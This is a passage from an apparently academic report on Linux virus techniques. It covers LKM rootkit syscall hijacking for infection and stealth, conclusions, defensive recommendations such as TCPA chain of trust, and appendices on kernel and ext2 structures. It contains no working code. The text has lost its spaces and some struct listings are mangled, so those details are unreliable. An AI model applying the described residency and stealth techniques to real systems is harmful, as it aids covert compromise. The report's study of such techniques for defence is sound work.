anyofthesestructures,thoughnocomplexEPOtechniquehasbeenappliedyet.[2] Therefore,LKMrootkitsdevelopmentendupinacommonpointofinterestwithviruses: patchinganinterruptanditsfunctionsinordertoperformstealth(andinfection)hasbeenusedsince theearliesttimesosMSDOSviruswriting. Themostrecentdevelompentswhichareofinterestforthescopeofthisprojectaretwo interestingarticlesexplainingnewtechniqueswithinthiscontextwhichmaybeusedbyvirus writers,"HandlingInterruptDescriptorTableforFunandProfit"[3]and"HijackingLinuxPage FaultHandler"[4],whichspeakonthewaysthathavebeenusedtohidethesystemcallpatching anddevelopincreasinglycomplexideastomakethatpatchingasstealthyaspossible.

2.2.References [1]"LinuxontheflykernelpatchingwithoutLKM",Phrack#58, http://www.phrack.org/show.php?p=58&a=7 [2]LKMrootkitsinkernel2.6,enyesecurity(www.enyesec.org),spanishlanguage: http://www.enyesec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt [3]"HandlingInterruptDescriptorTableforFunandProfit",Phrack#59(year2002), http://www.phrack.org/show.php?p=59&a=4 [4]"HijackingLinuxPageFaultHandler",Phrack#61(year2003), http://www.phrack.org/show.php?p=61&a=7

Conclusions
Inthisfinalsection,Iwilltrytobrieftheconclusionsobtainedfromthepreviousanalysis andthetechniqueswhichwereexplainedanddevelopedthroughoutthisproject.Aswell,aseriesof ideaswillbegivenonhowtoenforcesecurityinLinuxsystemsregardingcomputervirusattacks

1.Conclusions 2.Securityrecommendationsandideas

1.Conclusions
Sofar,wehaveseenthatalmosteveryimportanttechniquewhichcanbeusedinother platformscanbeappliedtoLinux:

Executablefilescanbeinfectedinseveralways,andsuchwaysdonotdisruptthecorrect executionofthefiles.TheELFformatitselfdoesnothaveanybuiltinsecuritymeasure topreventmanipulation,andhavingpermissionstoread/writethemisenoughforvirus infection. TheclearnessoftheELFformatmakesitstraightforwardtoimplementsuch manipulationsoncethemeaningofitsheadersandtablesisunderstood. Residencetechniquescanbeimplemented,withthesamescopeasintheWindows operatingsystem.Thatistosay,suchtechniquescanbeimplementedinaperprocess fashionthroughtheinterceptionofsharedlibraries,orinthecaseofarootaccount executinganinfectedfilekernelresidencycanbeachieved. Inthecaseofkernelresidency,theextentofvirusactionsisaswideastheprogrammer's imagination.Threepossibleideashavebeenoutlined;infectingthroughhijackingthe sys_execvesyscall,filestealththroughhijackingthesys_lstat64syscall,andan infection/disinfectionstrategythroughhijackingsys_openandsys_close.

Stealthstrategiesarepossible,inordertohidethevirusfromtheadministratorandfrom automatedmalwaredetection.Theinfector/disinfectorstrategywasdescribed,andas wellabasicwaytohidethelengthincreaseofinfectedfileswhendirectorycontentsare listed. Inthecaseofmemorystealth,thoughthishasnotbeendirectlyaddressed,thestrategy whichwasdetailedonkernelresidencepreventsanystandardtoolstofindoutthatthere isanynewcodeinthekernel.Suchcodeisn'tlistedbylistingtheprocesses,sinceit becomesapartofthekernelreservingakernelspacewhichisn'texplicitlylisted anywhereandisonlypointedtobythecodewhichhijacksthefunctionsthatarefiltered bythevirus. Inordertohidethesefilteringinstructionswhichhijacksysteminterrupts/syscalls, severalideaswereproposedwhichmakethisdetectionprocessmoredifficult.

However,ithastobeconsideredthatthesetechniquescanmostlybeappliedonlywhenthe virushasobtainedsupervisoraccess.Aseriesoftechniquestodosowereaswelllistedinthis project,fromwhichitisimportanttohighlightthemanipulationoftheGRUBbootloaderandthe ext2/3filesystemfromoutsideLinux.Thisisanimportantrisk,sincemanyLinuxusershaveas wellaWindowspartitionintheirharddisks. Still,itwouldbeunfairtoconsiderthereisahighriskinthepossibilitiesofLinuxinfection. Evenifacomputerisinfectedforexample,throughtheWindowspartition,binariesarebarely exchangedbetweenLinuxusers.Awormlikeremoteexploitofaspecificvulnerabilitywouldbe

probablymoresuccesful,evenifthetimesuchvulnerabilityexistsissmallanditonlyaffects specificLinuxdistributions.SuchavarietyinLinuxdistributionsandthesoftwaretheyinclude againwouldpreventmassiveinfectionsastheoneswhichhavehappenedinWindowsincasessuch likeBlasterandotherworms. Somecases,however,couldbedisastrous.Amassiveinfectionofapackagerepository serverwhichprovidesbinaryfileswouldbeoneofsuchcases.Ifwethinkofworsecasescenarios, hackingintosuchservertheattackercouldtriggertheinfection.Inthepastsoftwarerepository servershavehadtheirtrojanizedfileswhichweredetectedlaterasthesefileswereeasilyspotted andtheusersprotestedduetothebehaviouroftrojanizedfiles;astealthiermethodthroughvirus infectioncouldmakesuchacasewaymoreproblematic. Therefore,thoughtheriskofvirusinfectionsinLinuxshouldnotbeconsideredashighasin Windowssystems,itstillshouldbecomeasecurityissuetotakeintoaccountbyadministrators, Linuxkerneldesigners,andmalwaredetectioncompanies.Theclassicalclaimsofutterresistanceto virusessometimesmadewhichLinuxusersandadministratorswhichassumetheiroperatingsystem optionisnotjustabovetheWindowsoptionbutinacompletelydifferentandimpregnableframe, couldproveanobstacleifsuchsecurityrisksaresuccesfullyexploited.

2.Securityrecommendationsandideas
AseriesofweakspotsinLinuxsystemsshouldbefixed:

Probablytheworseproblemistheexistanceofthe/dev/kmemfile.Thekernelmemory spaceshouldonlybeaccessedbysystemfunctionsevenfortherootaccount.Thiswould securethekernelspaceincludingnotjustthekernelitselfbutaswellstructureslikethe InterruptVectorTableagainstthewiderangeofmanipulationsthataprogramwithroot accesscanperform. Treadingfurtherintokernelsecurity,thekernelshouldbeabletoknowwhenandhow hasbeenmanipulated.SinceweusuallywouldlikesupportforLoadableKernel Modules,theseshouldbetreatedandcheckedoutasdifferentblocksinsidethekernel. Onepossibilitycouldbeperformingregularhashesoverthekernelcodenotthedata, andstoppingthesystemwheneverachangeisdetected. However,thisproposalisn'tcompletelysecure,sinceanyhashwouldneedtobestored inthekernelspace.Ifapieceofcodeisabletomanipulatethekernelspace,itwouldbe abletomanipulatesuchhash. Anotherproposalwouldbetoimplementfurthergranularityinsidetheverykernel, preventinganyLKMtomanipulatethecorekernelcode.However,thiscouldseriously limitthescopeofLKMs.ThemostsecureoptionregardingLKMsisofcourse,not allowingLKMstobeloaded(whichisactuallyakerneloption). AhighriskisthatofthemanipulationoftheLinuxfilesystemfromtheoutside,likein examplefromaWindowspartition.Thisisnotaneasyproblemtofix,sinceanysolution couldbebypassedintheendbyanattacker. Thatistosay,ifweusedhashingtocheckifimportantfiles,thebootsector/MBR,orthe filesystemstructureshavebeenmanipulated,theviruscouldforfeitthemaswell.Ifwe madeamorecomplexstorageoffiletransactionsinordertocontrolchangestofiles,the viruscouldforfeitthosewhichitneedssothatthesystemisconsidersthesituationas correct. Wecouldconsiderthatavarietyoffilesystemimplementationsandintegritychecking softwarewouldmakeasuccessfulvirustoocomplexandtoolong,butstillIwould considerthisapatchmorethanasolution.

ThesolutionIconsiderinterestingregardingtheseproblemswouldbebasedinhardware, inasimilarfashiontowhattheTCPAprojectspecificationproposed. Thisideawouldbebasedonprovidingthecomputerwithaspecificsetofprotected registerswhichareusedtostorehashes,anonwritablecodeintheBIOS,andbuildinga "chainoftrust"fromthemomentinwhichthecomputerisswitchedon.Here,"chainof trust"meansthatinthestandardbootprocess,eachcomponentthatistobeexecutedis checkedforintegritybythecurrentlyexecutingone,sothatthecodecanbetrustednot tocontainmalware. So,inadditiontotheusualcomputerarchitecture,TCPAimplementsacomponentcalled TBB(TrustedBuildingBlock),whichisconsideredtheonlypartofthesystemthatcan beinitiallytrusteditcanonlybemodifiedbyitssupplier.ThisTBBhastwo components,calledCRTMandTPM. TheCRTM(CoreRootofTrust),istheplacewhereexecutionstartswheneverthe systemstartsrunning.TheCRTMhastocheckitsownintegrity,thesystemcomponents, peripherals,andfinallythatoftheIPLcode(thecomputerstartupcodewhichwouldrun next). Toperformsuchchecks,thesecondcomponentoftheTBBistheTPM,whichisroughly aSmartCardattachedtothePC.Thiscomponentsendsandreceivesencrypted informationtotheplatformthroughasharedkey,allowsuserauthentication mechanisms,holdsaseriesofcryptographicfunctions(SHA1,RSA,RNGand3DES), andstoresregisterswhichholdthehashesthatarethebasisofthechainoftrust. ThefirstoftheseregisterswouldstoreahashofthenonCRTMbutnonwrittable computerstartupcode.SuchcodewouldhashthewritableBIOScodeandpasscontrol toitonceithasbeencheckedagainstthisfirstregister. BIOScodewoulddoitsthingandhashtheMasterBootRecordoftheharddiskanda fewofthefollowingsectorsallpartscontainingcode.Suchhashwouldbechecked againstthenextofthesehashregisters,andafterwardscontrolwouldbepassedtothe bootloader. Thisstrategycouldcontinueasthebootloadercheckstheintegrityofthekernel,andthe kernelitselfcouldchecktheintegrityofanyexecutedfile;iftakentotheextreme,this couldevenprovideawaytopreventthemanipulationofbinaryfiles. Ofcoursewewouldhavetheproblemonwhattodowhenamanipulationisdetected, sinceitcouldbealegitone(forexample,anewkerneliscompiled,anewhardwareis installed,orthediskisrepartitioned).TheTCPAspecificationpreferstoleavethat decissiontothesoftware,withoutclosinganypossibility. Ithinkthebestwaytoactinthecasethatachangeisdetectedwouldbeaskingtheuser ifexecutionshouldcontinueandifthenewhashvalueshouldbestoredasatrusted.We couldbequiteconfidentthatacomputeradministratorknowswhensuchsortof operationshavebeenperformed...eventhough,thisdoesnotapplytoregularusers,who

arebecomingmoreandmorecommoninLinux,sothenagainabalancebetween securityandeaseofusewouldbeneeded,andnotatalltrivial.

AppendixA Kernelandsecuritydocumentation
ThissectionholdsinformationonthekernelstructuresandsecuritymechanismsinLinux thatareusedalongtheproject.Theyarestructuredasreferencematerial,andwithapracticalaim, sothattheycanbeusedforprogramming.

A.1.Linuxsecuritymechanisms:fileprotection,ACLs,genericsecurity.
A.1.1.Filepermissionfastreminder A.1.2.AccessControlLists A.1.3.ProtectionRings

A.2.Kernelstructures
A.2.1.SchedulerandProcessControlBlock(PCB) A.2.2.Interruptions A.2.3.BootingProcess A.2.4.Filesystemstructure(ext2,ext3)

A.3.References

A.1.Linuxsecuritymechanisms:fileprotection,ACLs,generic security.
A.1.1.Filepermissionfastreminder
Asthefirstfieldinan"lsl"listing,filesdisplaythefollowingpremissionbits: drwxrwxrwx>Typeoffile/Owner(3bits)/Group(3bits)/Other(3bits) Typeoffile:d=directory,=file,b=blockdevicefile,c=characterdevicefile Note:IfaprogramhastheSUIDbiton,thefirst"x"permissionisgivenan"s"value. "chmodu+s<file>"setstheSUIDbit,"chmodus<file>"unsetsit. SameforSGIDonthegroup"x"permission."chmodg+s<file>"setstheSGIDand"chmod gs<file>"unsetsit. Thecharacteristicsarestoredinthei_modefieldoftheinodeasfollows: i_mode(00h):Filemode(typeUSHORT).Itisamaskdescribingthetypeoffileandits accesspermissions.First4ofits16bitsrelatetofiletype,correspondingtosocket(1010),symbolic link(1100),regularfile(1000),blockdevice(0110),directory(0100),characterdevice(0010),and fifo(0001).Thenext3bitscorrespondrespectivelytoSUID,SGIDandstickybits.Thefollowing9 thenarethestandardrwxrwxrwx,correspondingtotheuser/group/otherfilepermissions mechanism.

A.1.2.AccessControlLists
Accordingtothedefinitionin[1],anAccessControlList"storestheaccessrightstoan objectwiththeobjectitself.AnACLthereforecorrespondstoacolumnoftheaccesscontrolmatrix andstateswhomayaccessagivenobject",andthesamecanbedoneforgroups.InLinux,thoughit canbeapartoftheoperatingsystemfromadvanced2.4kernelversionsitisoftennotcompiledasa standardoptionofthekernel,andthe"[*]Ext2POSIXAccessControlLists"optionorwhichever applies(thereisaReiserFSone)hastobeselectedandthekernelrecompiled.Aswell,thepartition haswouldhavetobemountedwiththe"acl"option.ThisisthecaseforinstanceoftheGentoo distribution. Assuch,Iwillnotdwellfurtherintothis;acleardocumentationcanbefoundin[10].

A.1.3.ProtectionRings

InIntelchips,wherethisprojectwillbefocused,only2ofthe4availableprotectionrings areused.Therearefoursegments:kernelcodesegment,kerneldatasegment,usercodesegment anduserdatasegment.Alluserspaceprocessesusebothusersegments,andthoseofthekernelare onlyaccessedfromwithinthekernel.Aswell,protectionamongprocesses'userspacesis implemented. TheboundarybetweenkernellandanduserlandisspecifiedintheLinuxBCP.

A.1.Kernelstructures
A.1.1.SchedulerandProcessControlBlock(PCB)
InLinux,theschedulerchangestaskswiththreepossibilitiesdefinedoncompilationtime: FIFO,roundrobinandrealtime.Whilethefirsttwoalgorithmsaregeneric,realtimedependsona PCBvaluecalledrt_priority.Thereisa"goodness"functioninsys/kernel/sched.c(line144)by whichtask_struct.counterisaddedtothe"nice"value.Counteristhenumberofticksleftinthe quantum;eachtimethoseareconsumed(anepochends),quantumsaredistributedagain. SometimestheCPUresourceisremovedfromtheprocessat"natural"pausesinthe program;thisiscalledpreemption.I/Oorotherwaits(suchlikewaitingforchilds),returnsfrom syscallsorotherinterrupts,arethemostcommon. ThePCBandthekernelstackoccupytwocontiguousblocksof4Kbeach,withthesecond growingdownardsfromthehighestposition.InthekernelsourcesthisPCBiscalled"task_struct", andI'llrefertoitbythatnamefromnowon.Itscodeisusuallyatinclude/linux/sched.h. AdescriptiononthePCB,commentedfromtheLinuxsourcesandtutorials,follows.Itis justusedasareference,butnottobeuseddirectlyandneitheritsoffsetstobetrusted,asthis structureusestochangewithdifferentkernelversionsandsoitisnottobetrustedexceptforafew genericvalues: Structtast_struct{ volatilelongstate;/*1unrunnable,0runnable,1stopped*/ structthread_info*thread_info; atomic_tusage; unsignedlongflags;/*Describedbelow*/ unsignedlongptrace; intlock_depth; intprio,static_prio; structlist_head,run_list; prio_array_t*array; unsignedlongsleep_avg; unsignedlonglast_run; unsignedlongpolicy; /*Schedulingpolicy(normalorrealtime)*/ unsignedlongcpus_allowed; unsignedinttime_slice,first_time_slice; structlist_headtasks; structlist_headptrace_children; structlist_headptrace_list;

structmm_struct*mm,*active_mm; /*taskstate*/ structlinux_binfmt*binfmt; intexit_code,exit_signal; intpdeath_signal; /*Signalsentwhentheparentdies*/ unsignedlongpersonality; intdid_exec:1; pid_tpid; pid_tpgrp; pid_ttty_old_pgrp; pid_tsession; pid_ttgid; intleader;

/*Processidentificationnumber*/ /*

/*booleanvalueforsessiongroupleader*/ /*realparentprocess(whenbeingdebugged)*/ /*parentprocess*/ /*listofthechildrenprocesses*/ /*linkagetomyparent'schildrenprocesses*/ /**/

/*pointerstoothertasks*/ structtask_struct*real_parent; structtask_struct*parent; structlist_headchildren; structlist_headsibling; structtask_struct*group_leader

/*PID/PIDhashtablelinkage*/ structpid_linkpids[PIDTYPE_MAX]; wait_queue_head_twait_chldexit; structcompletionvfork_done; int__user*set_child_tid; int__userclear_child_tid; /*forwait4()*/ /*forvfork()*/ /*CLONE_CHILD_SETTID*/ /*CLONE_CHILD_CLEARTID*/

unsignedlongrt_priority; /*relativerealtimepriority*/ unsignedlongunsignedlongrt_priority; unsignedlongit_real_value,it_prof_value,it_virt_value; unsignedlongit_real_incr,it_prof_incr,it_virt_incr; structtimer_listreal_timer; structtmstimes; unsignedlongstart_time; longper_cpu_utime[NR_CPUS],per_cpu_stime[NR_CPUS]; /*mmfaultandswapinfo:thiscanarguablybeseenaseithermmspecificorthreadspecific*/ unsignedlongmin_flt,maj_flt,nswap,cmin_flt,cmaj_flt,cnswap; intswappable:1; /*processcredentials*/ uid_tuid,euid,suid,fsuid; gid_tgid,egid,sgid,fsgid;

intngroups; gid_tgroups[NGROUPS]; kernel_cap_tcap_effective,cap_inheritable,cap_permitted; intkeep_capabilities:1; structuser_struct*user; /*limits*/ structrlimitrlim[RLIM_NLIMITS]; unsignedshortused_math; charcomm[16]; /*filesysteminfo*/ intlink_count,total_link_count; structtty_struct*tty;/*NULLifnotty*/ unsignedintlocks;/*Howmanyfilelocksarebeingheld*/ /*ipcstuff*/ structsem_undo*semundo; structsem_queue*semsleeping; /*CPUspecificstateofthistask*/ structthread_structthread; /*filesysteminformation*/ structfs_struct*fs; /*openfileinformation*/ structfiles_struct*files; /*signalhandlers*/ spinlock_tsigmask_lock;/*Protectssignalandblocked*/ structsignal_struct*sig; sigset_tblocked; structsigpendingpending; unsignedlongsas_ss_sp; size_tsas_ss_size; int(*notifier)(void*priv); void*notifier_data; sigset_t*notifier_mask; /*Threadgrouptracking*/ u32parent_exec_id; u32self_exec_id; /*Protectionof(de)allocation:mm,files,fs,tty*/ spinlock_talloc_lock; };

Flags: PF_ALIGNWARN 0x00000001/*Printalignmentwarningmsgs*/ PF_STARTING 0x00000002/*Processisbeingcreated*/ PF_EXITING0x00000004/*Processisgettingshutdown*/ PF_FORKNOEXEC0x00000040/*Processcamefromafork()call*/ PF_SUPERPRIV0x00000100/*Thisprocesshasusedsuperuserpriviledges*/ PF_DUMPCORE0x00000200/*Thisprocesshasdumpedcore*/ PF_SIGNALED0x00000400/*Killedbyasignal*/ PF_MEMALLOC0x00000800/*Allocatingmemory*/ PF_MEMDIE0x00001000/*Killedforrunningoutofmemory*/ PF_FLUSHER0x00002000/*Responsiblefordiskwriteback*/ PF_FREEZE0x00004000/*Thistaskshouldbefrozenforsuspend*/ PF_IOTHREAD0x00008000/*ThisprocessisneededfordoingI/Otoswap*/ PF_FROZEN0x00010000/*Thisprocessisfrozenforsystemsuspend*/ PF_FSTRANS0x00020000/*Insideafilesystemtransaction*/ PF_KSWAPD0x00040000/*Iamkswapd!!*/ PF_SWAPOFF0x00080000/*Iamswappedoff*/ PF_LESS_THROTTLE0x00100000/*Throttlemeless:Icleanmemory*/ PF_SYNCWRITE0x00200000/*Iamdoingasyncwrite*/

A.1.2.Interruptions
WheneveranINTiscalled,LinuxusesanIVT(InterruptVectorTable)tolocatetowhich addressshoulditjump.Thisallowsspacefor256interrupts,andisdescribedin source/arch/i386/kernel/entry.S. Iwillfocusonint80h,whichistheinterrupttowhichmostofthefunctionscalledupby programsbelong.Herewefindinentry.Sanotherinterestingstructurewhichiscalled sys_call_table,whichstorestheaddressesofeachofthefunctions.Aftersavingregisters,the registereaxaspassedtotheint80hisusedasanindexinthattable,whichholdstheaddresswhere thatspecificfunctionisimplemented. Functionsarecalledintwoways;oneofthembyputtingspecificvaluesintothe ebx/ecx/edxregisters,theotherbypushingsuchvaluesintothestack(someofthosefunctions requiremoreparametersthanwhatcanactuallybestoredinebx/ecx/edx). Basically,theinterrupthandlingroutineforint80hhasthefollowinginterestingoperations fromthebeginning: ENTRY(system_call) pusheax ;Saveoriginalfunctionnumber SAVE_ALL ;Macrotosaveallregisters [...] cmpeax,nr_syscalls ;Iseaxinrange? Jnzsyscall_badsys ;oooh,bad syscall_call: callsys_call_table+(eax*4) ;Lookupthetableandcallit [restoreandiret] Thereisofcoursemorethanthisintheassemblerimplementation,thoughitismostlysanity checking,tracingandinternaloperationsuselessforanyinterruptpatchingpurposes. Asforotherinterrupts/exceptions,thereareentrieswhichdealwiththemspecifically. However,mostofthemjustpushtheexceptioninformationtothestackandjumpto"errorcode"in ordertodealgenericallywiththem,butalongwiththeinformationonwhatexactlycausedthe problem.

A.1.3.BootingProcess
Wheneverthecomputerisstarted,thefirstcomponenttobeexecutedisthebootmanager, whichislocatedintheMasterBootRecord(MBR),butnotnecessarilylimitedtoit.This512byte sectorcontainsaswellthepartitiontable,whichdefineshowtheharddiskisdividedintological sections,andisusedbythebootmanagertoasktheuseraboutwhichpartitiondoeshewanttoboot from.Nowadays,themostpopularbootmanagersareLILOandGRUB,whichallowforseveral optionsonbootingmultiplelinuxkernelsevenforthesamepartition. Oncetheoptionsareselected(oriftherewerenone),thefollowingstepsareperformed:

Kernelisloadedintomemoryanddecompressed Optionallyaramdisk(RAMaccessedbythesystemasifitwereadisk)calledinitrdis loaded,containingcodelikediskdrivers Argumentsarepassedtothekernel(mostimportant,theinitlocationinthefilesystem), anditsexecutionstarts.

Assoonasinitiscalled,everyotherprogramcanbeexecuted.Itsactionsaredefinedbythe file/etc/inittab,whichdefinestherunlevel,thescriptstobecommonlyexecuted,andthespecific scriptstobeexecutedforeachoftherunlevels.Iftherewasnorunlevelpassedasaparameter,the initdefaultaction(writtenininittablike"id:5:default"forrunlevel5)determinesthedefault runlevel. /etc/inittab Lineshavethefollowingformat: 1:2345:respawn:/sbin/mingettytty1 Thesefourfieldshavethefollowingmeanings: ID:Mustbedifferentforeachline,usingonetofourcharacters. Runlevels:Inourcase,2345meansthisscriptisexecutedforrunlevels2,3,4and5. Though,thereareexceptionsinwhichthisisignoredorthemeaningisdifferent. Action:Descriptiononwhatthislinedoes. Process:Commandtobeexecuted(ifrequired)

A.1.4.Filesystemstructure(ext2,ext3)
Inboththeext2andext3modeltheharddiskstructureisthesame.Theonlydifferencesare thatext3implementsjournalingthroughaseparatelayer,andusesoneofthereservedinodesin ordertostorethejournaltransactions,butacleanlyunmountedext3filesystemcanbemounted againasanext2withoutanyproblematall. Wefindthatthediskisdividedintoblockgroupsafterthebootsector.Theseblockgroups, replicatethemostcriticalstructuresintheharddisk(superblockandfilesystemdescriptors)and containapartofthefilesystemitself(ablockbitmap,aninodebitmap,apieceoftheinodetable anddatablocks). Eachblockiscomposedsequentiallybytheseparts: Superblock:Structurewhichuses1024bytes,whichfunctionistostoreinformationonthe usedandfreeblocks,inodelocationandavailability,timesthevolumehasbeenmonted,logical blocksizeandotheraccountinginformationaboutthefilesystem. Itisstoredonoffset1024ofthedisk,anditisreplicatedinthefirstdatablockofeachblock group.Itconsistsonthefollowingfields(betweenparenthesisthereistheoffsetinhexadecimal): s_inodes_count(00h):Numberofinodes(typeULONG) s_blocks_count(04h):Numberoftotaldatablocksinthefilesystem(typeULONG) s_r_blocks_count(08h):Numberofdatablocksreservedforthesuperuser(typeULONG). s_free_blocks_count(0Ch):Numberoffreeblocks(typeULONG) s_free_inodes_count(10h):Numbreoffreeinodex(typeULONG) s_first_data_block(14h):Firstblockwithdatainthefilesystem,dependingonsizeitwill be"0"or"1"(typeULONG) s_log_block_size(18h):Blocksize.A"0"valuemeans1024bytes,a"1"valuemeans2048 bytesanda"2"valuemeans4096bytes(typeULONG) s_log_frag_size(1Ch):Sizeoffragments.Note,thisisnotyetimplemented(typeLONG) s_blocks_per_group(20h):Numberofblocksineachblockgroup.Todeterminethe numberofblockgroups,justtake(s_blocks_count/s_blocks_per_group)roundedup.Eachblock groupcanbeaccessedat((group_number1)*blocks_per_group).(typeULONG) s_frags_per_group(24h):Numberoffragmentsineachblockgroup,notyetused(type ULONG) s_inodes_per_group(28h):Numberofinodesineachblockgroup(typeULONG) s_mtime(2Ch):Lasttimethatthefilesystemwasmounted(typeULONG) s_wtime(30h):Lasttimetherewasawriteoperationonthefilesystem(typeULONG) s_mnt_count(34h):Timesthatthefilesystemhasbeenmounted(typeSHORT) s_max_mnt_count(36h):Maximumnumberoftimesthefilesystemcanbemounted withoutcheckingitout(typeSHORT) s_magic(38h):"Magic"numberwhichidentifiesfilesystem.Shouldcontain0xEF53(type USHORT) s_state(3Ah):Flagsonthecurrentfilesystemstate(typeUSHORT) s_errors(3Ch):Flagsontheprocedureforerrorreporting(typeUSHORT) s_pad(3Eh):Padding(unused)bytestoalignvalueto40h(typeUSHORT)

s_lastcheck(40h):Lasttimethefilesystemwaschecked(typeULONG) s_checkinterval(44h):Maximumtimeallowedbetweenchecks(typeULONG) s_creator_os(48h):IdentifieronwhichOScreatedthefilesystem(typeULONG) s_rev_level(4Ch):Revisionlevelofthefilesystem(typeULONG) s_reserved(50h):Unused(padding)until400h(1024decimal)isreached(typeULONG [235].Partofitishoweverusednow: s_first_nonreserved(54h):Firstnonreservedinode(typeULONG) s_size_inode_struct(58h):Sizeofondiskinodestructure(typeUSHORT) s_size_block_number(5Ah):Numberofthisblockgroup(typeUSHORT)

Filesystemdescription:Thisstructureholdsinformationontheblockgroups.Itisstructured asfollows: bg_block_bitmap(00h):Addressoftheblockwhichcontainstheblockbitmapinthis blockgroup(typeULONG) bg_inode_bitmap(04h):Addressoftheblockwhichcontainstheinodebitmapinthis blockgroup(typeULONG) bg_inode_table(08h):Addressoftheblockwhichcontainstheinodetableinthisblock group(typeULONG) bg_free_blocks_count(0Ch):Freeblocksinthisblockgroup(typeUSHORT) bg_free_inodes_count(0Eh):Freeinodesinthisblockgroup(typeUSHORT) bg_used_dirs_count(10h):Numberofinodesinthisblockgroupwhicharedirectories (typeUSHORT) bg_pad(12h):Twopaddingbytes(typeUSHORT) bg_reserved(14h):Moreuselesspaddingbytestoalignthefilesystemdescriptionlength with20h(32bytes).(typeULONG[3])

Blockbitmap:Thisstructureisusedinordertoaccountfortheblockusageonthespecific block.Assuch,eachbitinthisbitmapshowswethertheblockhasbeenallocatedornot.Thetotal numberofbitsisdeterminedbythisoperation,roundingupbothdivisions: (blocks_per_group/8)/block_size Ontheirlocation,forexampleblock203ifthereare200blockspergroupwillbegroup1, anditwillbethethirdentryintheblockbitmap.

Inodebitmap:Quitesimilartotheblockbitmapinitsstructure,itreferstotheinodes, whichstoretheinformationaboutfiles.Whiletheblockisalogicalstructurewhichreferstoa specificlengthonthedisk,theinodecanbecomposedbyavariableamountofblocks,andstores informationonthefilenamewhichismappedintosuchblocks. Thesimilaritiestothe"blockbitmap"structureareonthateachinodeisrepresentedbyabit,

whichissetwhentheinodeisalreadyinuse. Inodetable:InodeTablecontainsanarrayofinodes,eachofwhichcontaininformationof aspecificfile.Therearespecificinodestotakeintoaccount,andonlyfromtheelevenththeycanbe freelyusedforfiles: 1:Badblocksinode 2:Rootinode(/directory).Thisisveryimportant,sincefromitwecouldendupaccessing everyfilefromhere. 3and4:ACLinodes 5:Bootloaderinode 6:Undeletedirectoryinodes 710:Reserved Foreachinode,thisinformationincludesthefollowingfields,includingitscorresponding offsets:

i_mode(00h):Filemode(typeUSHORT).Itisamaskdescribingthetypeoffileandits accesspermissions.First4ofits16bitsrelatetofiletype,correspondingtosocket (1010),symboliclink(1100),regularfile(1000),blockdevice(0110),directory(0100), characterdevice(0010),andfifo(0001).Thenext3bitscorrespondrespectivelyto SUID,SGIDandstickybits.Thefollowing9thenarethestandardrwxrwxrwx, correspondingtotheuser/group/otherfilepermissionsmechanism. i_uid(02h):OwnerUID(typeUSHORT) i_size(04h):Filesizeinbytes(typeULONG) i_atime(08h):LastAccessTime(typeULONG) i_ctime(0ch):CreationTime(typeULONG) i_mtime(10h):ModificationTime(typeULONG) i_dtime(14h):DeletionTime(typeULONG) i_gid(18h):OwnerGID(typeUSHORT) i_links_count(1ah):Numberoflinksrelated(typeUSHORT) i_blocks(1ch):Numberofblocks(typeULONG) i_flags(20h):Fileflags(typeULONG) i_reserved1(24h):OSdependent(typeULONG) i_block(28h):Pointerstoblocks(typeULONG[15],total=15*4=60d=0x3ch).The inodecontainsini_block15pointerstoblocks.Fromthesepointers,thefirst12are directpointerstodata,whichmeansthattheycanrefertoupto12Kbfiles. Thefollowingentry,number13,iscalledEXT2_IND_BLOCKandistheaddressofa blockwhichcontainsalistofaddressesofblockswhichcontainsthedata.Assuch,in thisblockthereis(block_size/sizeof(ULONG))blockaddresses,whichusuallywould mean(1024/4)=256blocks(256kbytes). Thenextentry,14,iscalledEXT2_DIND_BLOCKandisadoubleindirectpointer, whichmeansthatitpointstoablockthatcontainsindirectpointerstoblockswith (block_size/sizeof(ULONG))blockaddresses.

Finally,the15thentryiscalledEXT2_TIND_BLOCK,andisatripleindirectpointer.

i_version(64h):FileversionforNFS(typeULONG) i_file_acl(68h):FileAccessControlListidentifier(typeULONG) i_dir_acl(6ch):DirectoryAccessControlListidentifier(typeULONG) i_faddr(70h):FragmentAddress(typeULONG) i_frag(74h):FragmentNumber(typeUCHAR) i_fsize(75h):FragmentSize(typeUCHAR) i_pad1(76h):(typeUSHORT) i_reserved2(78h):(typeULONG2)

Directories:Theyarespecialfiles,whicharecomposedbysizevariableentries.Notethat thename_lengthdoesn'tdeterminethelengthoftheentryitself(thereissuchadifferencefor paddingreasons).


inode_number(00h):Identifyingtheinodeofthefilethatisreferenced entry_length(04h):Howlongisthisentry(itisdynamicsincethenameis!) name_length(06h):Lengthoffilename Filename(08h):Stringwiththenameitself.

A.3.1.References
[1]ComputerSecurityDieterGollmann [2]OperatingSystemExtensionstoSupportHostBasedVirtualMachines (http://www.eecs.umich.edu/techreports/cse/2002/CSETR46502.pdf) [3]LinuxScheduler:http://www.cs.miami.edu/~burt/learning/Csc521.061/notes/linux schedule.html [4]StartupstateofaLinux/i386ELFbinary:http://asm.sourceforge.net/articles/startup.html [5]TheLinuxBootdiskHowto:http://www.tldp.org/HOWTO/BootdiskHOWTO/ [6]TheLinuxBootingProcessUnveiled:http://www.pycs.net/lateral/stories/23.html [7]FilesystemsHOWTOhttp://www.tldp.org/HOWTO/FilesystemsHOWTO6.html [8]John'sSpecofthesecondextendedfilesystem(asusedbyexplore2fs): http://uranus.it.swin.edu.au/~jn/explore2fs/es2fs.htm [9]DesignandimplementationoftheSecondExtendedFilesystem(byRmyCard, TheodoreTs'o,StephenTweddie):http://web.mit.edu/tytso/www/linux/ext2intro.html [10]http://www.suse.de/~agruen/acl/linuxacls/online/

AppendixB

Glossary
B.1.Glossary

Appending:ThisisanoldtermwhichcomesfromtheDOSoperatingsystemtimes,andis stillused.Itreferredtoasortofinfectionprocedurebywhichthevirusiscopiedtotheendofthe fileandeitherthebeginningofthefilewassubstitutedbyajumptothevirus(.COMfiles)orby changingtheentrypoint(EXEfiles),andwasbyfarthemostcommoninfectionprocedure. Asafastgraphicalexplanation,ifthisistheuninfectedstateofafileabdtheentrypoint storedintheheaderpointsto[Start]:

Header

[Start:]Code,Data,etc

Thenanappendingviruswouldmodifythefilesothattheentrypointintheheaderpointsto [Virus_Start:],andthevirusafterexecutionreturnsto[Start:],likethis: Header [Start:]Code,Data,etc [Virus_start:]Virus

